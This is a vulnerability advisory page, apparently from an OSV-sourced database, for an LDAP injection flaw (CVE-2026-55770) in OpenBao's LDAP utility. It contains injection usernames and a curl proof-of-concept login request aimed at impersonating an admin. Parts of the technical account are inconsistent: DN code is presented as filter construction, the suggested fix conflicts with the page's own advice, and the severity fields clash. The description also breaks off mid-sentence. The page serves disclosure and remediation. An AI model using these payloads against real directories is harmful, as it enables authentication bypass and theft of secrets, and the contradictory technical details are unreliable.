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🛡️ CVE-2026-55770 — openbao

⚪ Unknown ✅ No Known Exploit CWE-90 OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

OpenBao: LDAPi ldaputil (wrong escape func)

1. Description

Component

sdk/helper/ldaputil/client.go — the shared LDAP utility library used by both the LDAP authentication backend and OpenLDAP secrets engine to construct LDAP search filters and bind DNs.

Root Cause

The LDAP utility contains a function selection error that causes incorrect escaping of user-controlled input in LDAP filter construction. Two lines construct the bindDN using EscapeLDAPValue():

```go

// Line 191 — UPN Domain path

bindDN = fmt.Sprintf("%s@%s", EscapeLDAPValue(username), cfg.UPNDomain)

// Line 193 — User DN path

bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, EscapeLDAPValue(username), cfg.UserDN)

```

The problem: EscapeLDAPValue() implements RFC 4514 escaping, which is designed for Distinguished Name (DN) components. It only escapes characters meaningful in DNs: +, ,, ;, ", \, <, >, and leading/trailing spaces.

LDAP search filters (RFC 4515) have a different set of special characters: *, (, ), \, and NUL (\x00). None of these are escaped by EscapeLDAPValue(). The correct function is ldap.EscapeFilter() from the github.com/go-ldap/ldap/v3 package.

The irony: the same file uses ldap.EscapeFilter() correctly at lines 225-226 in RenderUserSearchFilter() for the UserFilter template path, but the GetUserDN() function at lines 191-193 uses the wrong escape function.

Exploitation Mechanics

```

Username: alice)(objectClass=*

↓ EscapeLDAPValue (no-op — no DN special chars)

alice)(objectClass=*

↓ fmt.Sprintf("(&(objectClass=user)(sAMAccountName=%s))", escapedUsername)

(&(objectClass=user)(sAMAccountName=alice)(objectClass=*))

^^ injection point

```

The filter (&(objectClass=user)(sAMAccountName=alice)(objectClass=*)) is logically equivalent to:

  • sAMAccountName=alice AND objectClass=user AND objectClass=*

Since all entries match objectClass=*, the filter matches any user entry where sAMAccountName is alice, effectively ignoring the objectClass=user constraint. By crafting more sophisticated injections (e.g., alice)(|(sAMAccountName=admin), the attacker can match arbitrary different user entries.

Preconditions

  • LDAP authentication backend must be configured
  • Directory must be Active Directory (UPNDomain path) or use UserDN/UserAttr binding
  • Attacker controls the username field at login time

2. Proof of Concept

```bash

# Login with LDAP injection payload as username

curl -k -X POST \

-H "Content-Type: application/json" \

-d '{

"username": "alice)(sAMAccountName=*",

"password": "anything"

}' \

https://localhost:8200/v1/auth/ldap/login/admin

# LDAP filter constructed:

# (&(objectClass=user)(sAMAccountName=alice)(sAMAccountName=*))

# injection ──────────^

# The filter matches the first user with objectClass=user

# If the LDAP server returns admin's entry first, the token

# is bound to the admin entity, inheriting all admin policies

```

The LDAP search returns whichever entry the server ranks highest among results. In Active Directory with default sorting, this is often the oldest or alphabetically first user — potentially an administrative account.

3. Impact

| Impact | Detail |

|--------|--------|

| Confidentiality | Token bound to a different LDAP user (e.g., admin) grants access to all secrets and policies belonging to that entity |

| Integrity | Ability to modify secrets, write policies, or configure backends as the impersonated user |

| Availability | Low direct impact, but administrative access enables disabling or misconfiguring the entire OpenBao instance |

Likelihood: HIGH — the escape function mismatch is a well-documented antipattern in OWASP LDAP Injection guidance. The attack is trivially exploitable with no special tooling beyond curl.

Why This Is High Severity

The LDAP auth backend is frequently used as a primary authentication method for enterprise OpenBao deployments. A successful LDAP injection against this backend can bypass the entire authentication chain, granting administrative access to the secrets store without needing to compromise an actual admin account.

4. Remediation

Primary Fix: Use ldap.EscapeFilter

Replace EscapeLDAPValue with ldap.EscapeFilter in both filter construction paths:

```go

import "github.com/go-ldap/ldap/v3"

// Line 191 — UPN Domain path

bindDN = fmt.Sprintf("%s@%s", ldap.EscapeFilter(username), cfg.UPNDomain)

// Line 193 — User DN path

bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, ldap.EscapeFilter(username), cfg.UserDN)

```

EscapeLDAPValue is still the correct choice for actual DN construction (where values are used as RDN components rather than filter values), but any value interpolated into an LDAP filter string must use ldap.EscapeFilter.

Audit: All Call Sites

Review all usages of EscapeLDAPValue across the codebase to ensure none are used in filter c

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is high, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: High — the attacker first has to win a race, learn a secret or otherwise prepare the target.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2026-55770 is classified as CWE-90: LDAP Injection. Input is placed into an LDAP query without neutralisation, allowing the directory lookup to be rewritten.

Affected software

CVE-2026-55770 is recorded against 1 package.

  • github.com/openbao/openbao

Timeline and source

Published on 25 June 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Advisory)
github.com (Fix)
github.com (Fix)
github.com (Web)

Other advisories for this package

github.com/openbao/openbao has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-90: LDAP Injection) in other software:

Details

Severity Unknown
CVSS Score N/A
CVSS Vector CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
CWE CWE-90
Public Exploit ✅ No
Source OSV
Published 2026-06-25
Updated 2026-08-20
Modified 2026-06-25

Affected Packages

Software From version Fixed in
github.com/openbao/openbao — —

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